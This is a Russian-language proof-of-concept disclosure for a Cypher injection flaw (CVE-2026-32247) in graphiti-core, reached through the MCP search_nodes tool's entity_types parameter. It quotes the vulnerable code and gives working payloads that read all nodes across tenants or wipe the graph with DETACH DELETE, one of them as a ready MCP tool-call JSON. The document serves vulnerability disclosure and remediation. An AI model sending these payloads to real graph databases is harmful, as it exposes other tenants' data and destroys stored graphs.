romain-deperne/cve-2026-32247Proof-of-concept для CVE-2026-32247 — Cypher-инъекции в graphiti-core через несанитизированные node_labels, демонстрирующий эксфильтрацию данных и удаление графа через MCP search_nodes.
Уровень серьёзности: Высокий (CVSS 8.1)
CWE: CWE-943 — Ненадлежащая нейтрализация специальных элементов в логике запросов к данным
Затронуто: graphiti-core <= 0.28.1 (pip)
Исправлено в: 0.28.2
Рекомендация: GHSA-gg5m-55jj-8m5g
NVD: https://nvd.nist.gov/vuln/detail/CVE-2026-32247
Автор находки: Romain Deperne
graphiti-core формирует Cypher-конструкции WHERE, объединяя предоставленные пользователем строки меток узлов через | и вставляя их в сырой запрос. Злоумышленник может внедрить произвольные операторы Cypher, похитить данные из любого узла графа всех тенантов или удалить весь граф — параметризация и валидация отсутствуют на всём пути.
Я проверил построение запросов на границе между MCP-инструментом и графовой базой данных. В search_filters.py выражение 'n:' + node_labels напрямую вставляло значения из параметра инструмента entity_types в Cypher-запрос.
Что делает это интереснее стандартной инъекции: конструкция WITH в Cypher позволяет выйти из контекста WHERE и начать совершенно новый конвейер. Так, ) закрывает выражение метки в скобках, WITH n переключает на новую конструкцию, а // молча отбрасывает остаток исходного запроса. Одна полезная нагрузка — полный доступ к графу.
Сначала я воспроизвёл построение запроса в отдельном скрипте, а затем проверил деструктивный сценарий на графовой базе данных, прежде чем сообщить о нём.
Файл: graphiti_core/search/search_filters.py, строки 91–92 и 134–135
# Vulnerable code — exact copy from source
node_labels = '|'.join(filters.node_labels)
node_label_filter = 'n:' + node_labels
# node_label_filter is then interpolated into a Cypher WHERE clause
Точка входа: mcp_server/src/graphiti_mcp_server.py, строка 441
search_filters = SearchFilters(
node_labels=entity_types, # user input passed directly, no validation
)
Параметр entity_types передаётся из вызова инструмента MCP search_nodes напрямую в построитель запросов. Затронуты оба бэкенда — Neo4j и FalkorDB. Бэкенд Kuzu не затронут, поскольку в нём используются параметризованные запросы.
Значение node_label_filter (n:Label1|Label2) встраивается в запрос Cypher следующим образом:
WHERE (n:Label1|Label2) AND ...
Поскольку метки объединяются через | и оборачиваются в скобки вызывающей стороной, злоумышленнику достаточно закрыть выражение символом ) и внедрить новые конструкции Cypher. Оператор комментария // подавляет оставшуюся часть исходного запроса.
# Exact logic from search_filters.py lines 91-92
def build_filter(node_labels):
labels = '|'.join(node_labels)
return 'n:' + labels
# Benign
print(build_filter(["Person", "Organization"]))
# → n:Person|Organization → WHERE (n:Person|Organization) AND ...
# Exfiltration: read all nodes across all groups
print(build_filter(["Entity`) WITH n MATCH (x) RETURN x //"]))
# → n:Entity`) WITH n MATCH (x) RETURN x //
# Full Cypher: WHERE (n:Entity`) WITH n MATCH (x) RETURN x // AND ...
# The `) closes the WHERE, WITH starts a new pipeline, // drops the rest
# Deletion: wipe the entire graph
print(build_filter(["Entity`) WITH n MATCH (x) DETACH DELETE x //"]))
Через вызов инструмента MCP:
{
"tool": "search_nodes",
"arguments": {
"query": "test",
"entity_types": ["Entity`) WITH n MATCH (x) DETACH DELETE x //"]
}
}
group_idDETACH DELETE стирает весь графgroup_id применяется после инъектируемого фильтра меток — внедрение конструкции WITH полностью его обходитИсправленная версия проверяет метки узлов по списку разрешённых символов (буквенно-цифровых) перед интерполяцией, а путь полнотекстового поиска использует параметризованные запросы для значений group_id.